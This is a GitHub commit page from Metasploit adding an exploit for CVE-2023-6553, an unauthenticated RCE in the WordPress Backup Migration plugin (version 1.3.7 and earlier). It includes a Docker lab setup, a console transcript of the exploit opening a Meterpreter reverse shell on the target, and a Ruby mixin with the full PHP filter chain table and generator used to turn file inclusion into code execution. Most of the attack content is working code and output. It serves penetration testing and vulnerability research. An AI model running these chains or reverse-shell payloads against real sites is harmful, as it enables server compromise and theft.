Skip to content

Commit b8aa55c

Browse files
Land rapid7#18633, WordPress Backup Migration Plugin PHP Filter Chain RCE (CVE-2023-6553)
2 parents 40c8c63 + 607a278 commit b8aa55c

File tree

4 files changed

+370
-0
lines changed

4 files changed

+370
-0
lines changed

data/wordlists/wp-exploitable-plugins.txt

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -60,3 +60,4 @@ paid-memberships-pro
6060
woocommerce-payments
6161
file-manager-advanced-shortcode
6262
royal-elementor-addons
63+
backup-backup
Lines changed: 126 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,126 @@
1+
## Vulnerable Application
2+
3+
This module exploits an unauth RCE in the WordPress plugin: Backup Migration (<= 1.3.7). The vulnerability is
4+
exploitable through the Content-Dir header which is sent to the /wp-content/plugins/backup-backup/includes/backup-heart.php endpoint.
5+
6+
The vuln makes use of a neat technique called PHP Filter Chaining which allows an attacker to prepend
7+
bytes to a string by continuously chaining character encoding conversion. This allows an attacker to prepend
8+
a PHP payload to a string which gets evaluated by a require statement, which results in command execution.
9+
10+
### Setup
11+
12+
Spin up a Wordpress instance by running `docker-compose up` in the same directory as the `docker-compose.yml` file below:
13+
```
14+
version: "3"
15+
# Defines which compose version to use
16+
services:
17+
# Services line define which Docker images to run. In this case, it will be MySQL server and WordPress image.
18+
db:
19+
image: mysql:5.7
20+
# image: mysql:5.7 indicates the MySQL database container image from Docker Hub used in this installation.
21+
restart: always
22+
environment:
23+
MYSQL_ROOT_PASSWORD: MyR00tMySQLPa$$5w0rD
24+
MYSQL_DATABASE: MyWordPressDatabaseName
25+
MYSQL_USER: MyWordPressUser
26+
MYSQL_PASSWORD: Pa$$5w0rD
27+
# Previous four lines define the main variables needed for the MySQL container to work: database, database username, database user password, and the MySQL root password.
28+
wordpress:
29+
depends_on:
30+
- db
31+
image: wordpress:latest
32+
restart: always
33+
# Restart line controls the restart mode, meaning if the container stops running for any reason, it will restart the process immediately.
34+
ports:
35+
- "8000:80"
36+
# The previous line defines the port that the WordPress container will use. After successful installation, the full path will look like this: http://localhost:8000
37+
environment:
38+
WORDPRESS_DB_HOST: db:3306
39+
WORDPRESS_DB_USER: MyWordPressUser
40+
WORDPRESS_DB_PASSWORD: Pa$$5w0rD
41+
WORDPRESS_DB_NAME: MyWordPressDatabaseName
42+
# Similar to MySQL image variables, the last four lines define the main variables needed for the WordPress container to work properly with the MySQL container.
43+
volumes:
44+
["./:/var/www/html"]
45+
volumes:
46+
mysql: {}
47+
```
48+
49+
Download the vulnerable Backup Migration plugin: `https://downloads.wordpress.org/plugin/backup-backup.1.3.7.zip`.
50+
Navigate to `http://localhost:8000` and you'll be redirected and asked to setup the WordPress site. This includes
51+
setting a username, password, email address for the admin user etc. Once the setup is complete login as the newly created
52+
admin user and via the options on the left side of the screen navigate to the `Plugins` and select `Add New`. Upload the
53+
`backup-backup.1.3.7.zip` file. You should now see `Backup Migration` in the list of Plugins, select `Activate` on the
54+
plugin. You should now have a vulnerable instance running.
55+
56+
## Verification Steps
57+
58+
1. Start msfconsole
59+
1. Do: `use `
60+
1. Set the `RHOST`, `USERNAME`, and `PASSWORD` options
61+
1. Run the module
62+
1. Receive a Meterpreter session in the context of the user running the WordPress application.
63+
64+
## Scenarios
65+
### Backup Migration Plugin version: 1.3.7 (Containerized WordPress Version 6.0)
66+
```
67+
msf6 exploit(multi/http/wp_backup_migration_php_filter) > set rhosts 127.0.0.1
68+
rhosts => 127.0.0.1
69+
msf6 exploit(multi/http/wp_backup_migration_php_filter) > set rport 8000
70+
rport => 8000
71+
msf6 exploit(multi/http/wp_backup_migration_php_filter) > set lhost 192.168.123.1
72+
lhost => 192.168.123.1
73+
msf6 exploit(multi/http/wp_backup_migration_php_filter) > options
74+
75+
Module options (exploit/multi/http/wp_backup_migration_php_filter):
76+
77+
Name Current Setting Required Description
78+
---- --------------- -------- -----------
79+
PAYLOAD_FILENAME ONxu.php yes The filename for the payload to be used on the target host (%RAND%.php by default)
80+
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
81+
RHOSTS 127.0.0.1 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
82+
RPORT 8000 yes The target port (TCP)
83+
SSL false no Negotiate SSL/TLS for outgoing connections
84+
TARGETURI / yes The base path to the wordpress application
85+
VHOST no HTTP server virtual host
86+
87+
88+
Payload options (php/meterpreter/reverse_tcp):
89+
90+
Name Current Setting Required Description
91+
---- --------------- -------- -----------
92+
LHOST 192.168.123.1 yes The listen address (an interface may be specified)
93+
LPORT 4444 yes The listen port
94+
95+
96+
Exploit target:
97+
98+
Id Name
99+
-- ----
100+
0 Automatic
101+
102+
103+
104+
View the full module info with the info, or info -d command.
105+
106+
msf6 exploit(multi/http/wp_backup_migration_php_filter) > run
107+
108+
[*] Started reverse TCP handler on 192.168.123.1:4444
109+
[*] Running automatic check ("set AutoCheck false" to disable)
110+
[*] WordPress Version: 6.0
111+
[+] Detected Backup Migration Plugin version: 1.3.7
112+
[+] The target appears to be vulnerable.
113+
[*] Writing the payload to disk, character by character, please wait...
114+
[*] Sending stage (39927 bytes) to 192.168.123.1
115+
[+] Deleted L
116+
[+] Deleted ONxu.php
117+
[*] Meterpreter session 3 opened (192.168.123.1:4444 -> 192.168.123.1:56224) at 2024-01-11 12:17:34 -0500
118+
119+
meterpreter > getuid
120+
Server username: www-data
121+
meterpreter > sysinfo
122+
Computer : 856d06702f34
123+
OS : Linux 856d06702f34 6.5.11-linuxkit #1 SMP PREEMPT_DYNAMIC Wed Dec 6 17:14:50 UTC 2023 x86_64
124+
Meterpreter : php/linux
125+
meterpreter >
126+
```
Lines changed: 116 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,116 @@
1+
# -*- coding: binary -*-
2+
3+
module Msf
4+
class Exploit
5+
class Remote
6+
module HTTP
7+
module PhpFilterChain
8+
9+
# This module can be used to generate PHP Filter Chains which can be used to gain RCE through an LFI.
10+
#
11+
# There are many different types of character encodings. You can use [convert.iconv.*](https://www.php.net/manual/en/filters.convert.php#filters.convert.iconv)
12+
# in PHP in order to convert from one encoding to another.
13+
#
14+
# Some encodings have a byte or sequence of bytes prepended to the string as a signature. By carefully chaining
15+
# together specific encoding conversions, we can control the bytes that get prepended to the string.
16+
#
17+
# An example of when this can be used is when you control the input to a "require" or an "include" statement in PHP.
18+
# PHP lets you specify the file name as "resource=php://temp" so you don't actually need to know the a file on
19+
# the system and then you can build a payload with filter chains which will then be executed by the "require".
20+
# Ex: require('php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|<redacted>|resource=php://temp"
21+
# More info: https://www.synacktiv.com/en/publications/php-filters-chain-what-is-it-and-how-to-use-it
22+
def initialize(info = {})
23+
super
24+
end
25+
26+
CONVERSIONS = {
27+
"0" => "convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2",
28+
"1" => "convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4",
29+
"2" => "convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP949.UTF32BE|convert.iconv.ISO_69372.CSIBM921",
30+
"3" => "convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.ISO6937.8859_4|convert.iconv.IBM868.UTF-16LE",
31+
"4" => "convert.iconv.CP866.CSUNICODE|convert.iconv.CSISOLATIN5.ISO_6937-2|convert.iconv.CP950.UTF-16BE",
32+
"5" => "convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.8859_3.UCS2",
33+
"6" => "convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.CSIBM943.UCS4|convert.iconv.IBM866.UCS-2",
34+
"7" => "convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.iconv.ISO-IR-103.850|convert.iconv.PT154.UCS4",
35+
"8" => "convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2",
36+
"9" => "convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB",
37+
"A" => "convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213",
38+
"a" => "convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE",
39+
"B" => "convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000",
40+
"b" => "convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE",
41+
"C" => "convert.iconv.UTF8.CSISO2022KR",
42+
"c" => "convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2",
43+
"D" => "convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213",
44+
"d" => "convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5",
45+
"E" => "convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT",
46+
"e" => "convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UTF16.EUC-JP-MS|convert.iconv.ISO-8859-1.ISO_6937",
47+
"F" => "convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB",
48+
"f" => "convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213",
49+
"g" => "convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8",
50+
"G" => "convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90",
51+
"H" => "convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213",
52+
"h" => "convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE",
53+
"I" => "convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213",
54+
"i" => "convert.iconv.DEC.UTF-16|convert.iconv.ISO8859-9.ISO_6937-2|convert.iconv.UTF16.GB13000",
55+
"J" => "convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4",
56+
"j" => "convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.iconv.CP950.UTF16",
57+
"K" => "convert.iconv.863.UTF-16|convert.iconv.ISO6937.UTF16LE",
58+
"k" => "convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2",
59+
"L" => "convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.R9.ISO6937|convert.iconv.OSF00010100.UHC",
60+
"l" => "convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE",
61+
"M" => "convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.iconv.UTF16BE.866|convert.iconv.MACUKRAINIAN.WCHAR_T",
62+
"m" => "convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949",
63+
"N" => "convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4",
64+
"n" => "convert.iconv.ISO88594.UTF16|convert.iconv.IBM5347.UCS4|convert.iconv.UTF32BE.MS936|convert.iconv.OSF00010004.T.61",
65+
"O" => "convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775",
66+
"o" => "convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-4LE.OSF05010001|convert.iconv.IBM912.UTF-16LE",
67+
"P" => "convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB",
68+
"p" => "convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4",
69+
"q" => "convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.GBK.CP932|convert.iconv.BIG5.UCS2",
70+
"Q" => "convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500-1983.UCS-2BE|convert.iconv.MIK.UCS2",
71+
"R" => "convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4",
72+
"r" => "convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.ISO-IR-99.UCS-2BE|convert.iconv.L4.OSF00010101",
73+
"S" => "convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS",
74+
"s" => "convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90",
75+
"T" => "convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500.L4|convert.iconv.ISO_8859-2.ISO-IR-103",
76+
"t" => "convert.iconv.864.UTF32|convert.iconv.IBM912.NAPLPS",
77+
"U" => "convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943",
78+
"u" => "convert.iconv.CP1162.UTF32|convert.iconv.L4.T.61",
79+
"V" => "convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB",
80+
"v" => "convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.ISO-8859-14.UCS2",
81+
"W" => "convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936",
82+
"w" => "convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE",
83+
"X" => "convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932",
84+
"x" => "convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS",
85+
"Y" => "convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361",
86+
"y" => "convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT",
87+
"Z" => "convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16",
88+
"z" => "convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937",
89+
"/" => "convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4",
90+
"+" => "convert.iconv.UTF8.UTF16|convert.iconv.WINDOWS-1258.UTF32LE|convert.iconv.ISIRI3342.ISO-IR-157",
91+
"=" => "", # since `=` is only used as trailing padding, it can safely be ignored.
92+
}
93+
94+
def generate_php_filter_payload(command)
95+
chain = command.encode("UTF-8")
96+
encoded_chain = Base64.strict_encode64(chain).encode("UTF-8").chomp("=")
97+
filters = "convert.iconv.UTF8.CSISO2022KR|"
98+
filters << "convert.base64-encode|"
99+
filters << "convert.iconv.UTF8.UTF7|"
100+
101+
encoded_chain.reverse.each_char do |c|
102+
filters << CONVERSIONS[c] + "|"
103+
filters << "convert.base64-decode|"
104+
filters << "convert.base64-encode|"
105+
filters << "convert.iconv.UTF8.UTF7|"
106+
end
107+
108+
filters += "convert.base64-decode"
109+
"php://filter/#{filters}/resource=php://temp"
110+
111+
end
112+
end
113+
end
114+
end
115+
end
116+
end

0 commit comments

Comments
 (0)